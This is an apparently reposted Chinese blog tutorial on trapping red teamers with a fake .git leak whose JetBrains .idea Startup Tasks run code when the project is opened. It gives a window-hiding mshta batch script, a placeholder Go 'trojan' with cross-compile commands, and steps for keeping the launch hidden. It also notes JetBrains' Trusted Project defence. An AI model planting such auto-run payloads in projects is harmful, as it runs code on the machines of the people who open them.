原文始发于Github:JetBrains系列产品.idea钓鱼反制红队
一、利用思路
将这个项目伪装为一个.git
泄露,红队使用扫描器扫描到.git
泄露大概率会忍不住诱惑下载,如果下载完使用JetBrains
家的IDE打开则会直接RCE
。
为了使其有更大的可能性使用IDE打开,将项目伪装的尽可能大一些,看起来不是一个文本编辑器查看能够搞得定的,这个时候会写代码的红队很可能会使用自己的IDE打开阅读尝试寻找有效信息。
二、为什么能够在打开项目的时候RCE
JetBrains系列的产品支持一个Startup Tasks
的功能:
https://www.jetbrains.com/help/idea/settings-tools-startup-tasks.html
这个功能是用于在每次使用JetBrains系列的IDE打开给定项目的时候都执行某个任务,有些系列的IDE会将Startup Tasks
放在Tools菜单下, 但是有些系列的IDE不会放,从File
–> Settings
打开设置:
然后搜索Startup Tasks
即可打开相关设置项,然后Add New Configuration
增加一个新的配置:
这里有很多选项,通过这些任务就可以实现RCE:
三、执行任意脚本文件
这里选择比较容易实现RCE的shell script
:
选择项目文件夹下的批处理文件,注意一定要取消勾选Actiovate tool window
,这个选项被勾选时执行脚本的时候会把Terminal
窗口给打开再执行,这个时候隐蔽性就没那么高了, 一旦激警很可能会迅速取消使得文件得不到执行:
这个文件的内容是保存在项目文件夹下的.idea/workspace.xml
文件中的:
打开此文件,可以找到刚刚添加的任务:
批处理文件的内容:
@REM 这几行是为了隐藏执行时的黑框
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
@REM 从这里开始是自定义的逻辑,可以使用bat进行一些非法操作啥的
mshta vbscript:msgbox("You Are Hacked By Me!",1,"Tips")(window.close)
此时退出重新打开项目就会执行这个批处理文件,不过经过实验发现了一种更好的方式。
四、执行可执行文件
笔者实验发现在shell script
任务中可以不必老老实实指定一个批处理脚本文件,而是可以直接指定一个二进制文件,这个二进制文件一样会被执行。
比如现在使用golang模拟一个木马的行为,这里为了简单只是写个本地文件用来证明确实被执行了:
package main
import (
"fmt"
"io/ioutil"
"time"
)
func main() {
// 只是写一个本地文件,用于证明确实能够执行可执行文件,在实际进行钓鱼攻击的时候可以替换为木马文件直接执行啥的
message := fmt.Sprintf("[%s] 您好,当您看到此行文本的时候,您已经被成功钓鱼,请及时打开杀软扫描清理!", time.Now().Format("2006-01-02 15:04:05"))
content := []byte(message)
err := ioutil.WriteFile("prove.txt", content, 0644)
if err != nil {
panic(err)
}
}
借助于goland的交叉编译,可以很方便的为各个平台都生成可执行文件,这里为了增加迷惑性手动指定了编译后的二进制文件名字:
编译Windows下的可执行文件:
$env:CGO_ENABLED="0"
$env:GOOS="windows"
$env:GOARCH="amd64"
go build -o ./bin/windows/init.exe main.go
编译Mac下的可执行文件:
$env:CGO_ENABLED="0"
$env:GOOS="darwin"
$env:GOARCH="amd64"
go build -o ./bin/mac/init main.go
编译Linux下的可执行文件:
$env:CGO_ENABLED="0"
$env:GOOS="linux"
$env:GOARCH="amd64"
go build -o ./bin/linux/init main.go
然后添加三个Startup Task
以防有漏网之鱼:
此时.idea/workspace.xml
文件中可以看到这三个任务:
然后重启项目,观察项目根目录下是否有名为prove.txt
的文件被创建了,打开查看其内容:
可以看到时间就是刚刚写入的,证明二进制文件被成功执行了,这个二进制文件如果替换为木马,那就相当于是在红队机器上直接执行木马上线了…
五、结语
- 技术对抗是件很有意思的事情,谁是猎人谁是猎物可能是不确定的。
JetBrains
家已经增加了Trusted Project
来预防这种钓鱼,在打开不可信项目时会先弹个窗让用户选择项目的可信级别: 相关资料:
https://www.jetbrains.com/help/idea/project-security.html
https://zhuanlan.zhihu.com/p/358052965
六、参考资料